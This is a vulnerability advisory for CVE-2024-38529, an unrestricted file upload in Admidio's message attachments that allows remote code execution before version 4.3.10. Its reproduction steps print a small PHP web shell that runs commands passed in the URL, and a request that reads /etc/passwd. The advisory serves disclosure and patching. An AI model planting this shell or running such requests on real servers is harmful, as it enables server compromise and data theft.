CVE-2024-38529: Admidio Vulnerable to RCE via Arbitrary File Upload in Message Attachment
Description: Remote Code Execution Vulnerability has been identified in the Message module of the Admidio Application, where it is possible to upload a PHP file in the attachment. The uploaded file can be accessed publicly through the URL {admidiobaseurl}/admmyfiles/messagesattachments/{filename}.
The vulnerability is caused due to the lack of file extension verification, allowing malicious files to be uploaded to the server and public availability of the uploaded file.
An attacker can upload a PHP web shell that executes OS commands on the server, compromising the application server.
Note: I am using the docker-compose.yaml file from https://github.com/Admidio/admidio/blob/master/README-Docker.md#docker-compose-usage official documentation.
Impact: An attacker can exploit this flaw to upload a PHP web shell, which can be used to execute arbitrary commands on the server. This can lead to a complete compromise of the application server, allowing the attacker to:
- Execute arbitrary code or commands. - Access, modify, or delete sensitive data. - Install malicious software or scripts. - Gain further access to internal networks. - Disrupt services and applications hosted on the server.
Recommendation:
- Implement strict file extension verification to ensure that only allowed file types (e.g., images, documents) can be uploaded. - Reject any file upload with disallowed or suspicious extensions such as .php, .phtml, .exe, etc.
Steps to Reproduce: 1. As a member user, go to write an email message. 2. Upload a PHP file in the Attachment, containing the following content: <?php $command = isset($GET['command']) ? $GET['command'] : ''; $output = []; $returnvar = 0; exec($command, $output, $returnvar); echo '<h1>Exploiting RCE</h1>'; echo 'Command: '.$command; echo '\n<pre>'; echo implode("\n", $output); echo '</pre>'; ?> 3. Send the email. 4. In the message history go to the sent message. 5. Download the file, to get the uploaded file name. 6. Go to the following URL: {admidiobaseurl}/admmyfiles/messagesattachments/{filename}?command=cat+/etc/passwd 7. The server's passwd file would be returned in the response.
Proof Of Concept:
!image
Figure 1: Code of messagessend.php, not having file extension verification.
!image
Figure 2: Uploading Webshell as attachment.
!image
Figure 3: Download the uploaded file to get the uploaded file name.
!image
Figure 4: Uploaded File name.
!image
Figure 5: RCE via web shell.
!image
Figure 6: RCE via Webshell.
Other sources
Admidio is a free, open source user management system for websites of organizations and groups. In Admidio before version 4.3.10, there is a Remote Code Execution Vulnerability in the Message module of the Admidio Application, where it is possible to upload a PHP file in the attachment. The uploaded file can be accessed publicly through the URL {admidiobaseurl}/admmyfiles/messagesattachments/{filename}. The vulnerability is caused due to the lack of file extension verification, allowing malicious files to be uploaded to the server and public availability of the uploaded file. This vulnerability is fixed in 4.3.10.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2024-38529?
CVE-2024-38529 is classified as a remote code execution vulnerability with high severity due to its potential for exploitation.
How do I fix CVE-2024-38529?
To mitigate CVE-2024-38529, users should upgrade to Admidio version 4.3.10 or higher, which contains the necessary security patch.
What is the impact of CVE-2024-38529 on my Admidio application?
The impact of CVE-2024-38529 allows attackers to execute arbitrary PHP code on the server through malicious file uploads.
Which versions of Admidio are affected by CVE-2024-38529?
Admidio versions prior to 4.3.10 are affected by CVE-2024-38529 and are vulnerable to remote code execution.
Is there a workaround for CVE-2024-38529 if I cannot update my Admidio installation?
Currently, there is no recommended workaround for CVE-2024-38529, and upgrading to the latest version is the best solution.